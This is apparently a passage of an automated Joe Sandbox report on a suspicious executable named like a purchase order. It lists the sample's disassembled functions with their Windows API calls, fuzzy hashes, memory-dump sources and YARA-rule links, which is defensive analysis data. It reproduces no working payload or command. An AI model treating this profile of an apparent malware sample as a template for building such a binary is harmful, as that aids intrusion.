                                                                                                                                                                                • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                                                                                                Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                                                • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                                                • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                                                • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2783949968-0
                                                                                                                                                                                • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                                                • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                                                Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                                                  • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                  • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                                                • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                                                • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3521780317-0
                                                                                                                                                                                • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                                                • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                                                Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00471144
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 0047114D
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2889604237-0
                                                                                                                                                                                • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                                                                                                • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                                                                                                Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 00471102
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 0047110B
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2889604237-0
                                                                                                                                                                                • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                                                                                                • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                                                                                                Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2710830443-0
                                                                                                                                                                                • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                                                • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                                                Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                                                                                                • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                                                                                                  • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                                                                                                  • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 146765662-0
                                                                                                                                                                                • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                                                                                                • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                                                                                                Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                                                                                                  • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                                                                                                • __freeptd.LIBCMT ref: 0041408A
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 00414093
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3182216644-0
                                                                                                                                                                                • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                                                                                                                • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                                                                                                Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                                                                                                • String ID: AutoIt3GUI$Container
                                                                                                                                                                                • API String ID: 3380330463-3941886329
                                                                                                                                                                                • Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                                • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                                                                                                • Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                                • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                                                                                                Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID: 0vH
                                                                                                                                                                                • API String ID: 1143807570-3662162768
                                                                                                                                                                                • Opcode ID: bf773a96792e7386fbbaa0db16cdf7f70de857e2ea7db1c9c90ef838773f5a19
                                                                                                                                                                                • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                                                • Opcode Fuzzy Hash: bf773a96792e7386fbbaa0db16cdf7f70de857e2ea7db1c9c90ef838773f5a19
                                                                                                                                                                                • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                                                Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: HH$HH
                                                                                                                                                                                • API String ID: 0-1787419579
                                                                                                                                                                                • Opcode ID: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                                                                                                                • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                                                • Opcode Fuzzy Hash: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                                                                                                                • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                                                Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: InfoItemMenu_memset
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 2223754486-4108050209
                                                                                                                                                                                • Opcode ID: 60781951bb834b78e0167a3e9afe01c70176745dc522d898366d6ad0e6242f51
                                                                                                                                                                                • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                                                                                                • Opcode Fuzzy Hash: 60781951bb834b78e0167a3e9afe01c70176745dc522d898366d6ad0e6242f51
                                                                                                                                                                                • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                                                                                                                Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                                                                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                                • String ID: '
                                                                                                                                                                                • API String ID: 3850602802-1997036262
                                                                                                                                                                                • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                                • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                                                                                                • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                                • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                                                                                                Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: 0
                                                                                                                                                                                • API String ID: 0-4108050209
                                                                                                                                                                                • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                                                                                                • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                                                                                                Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
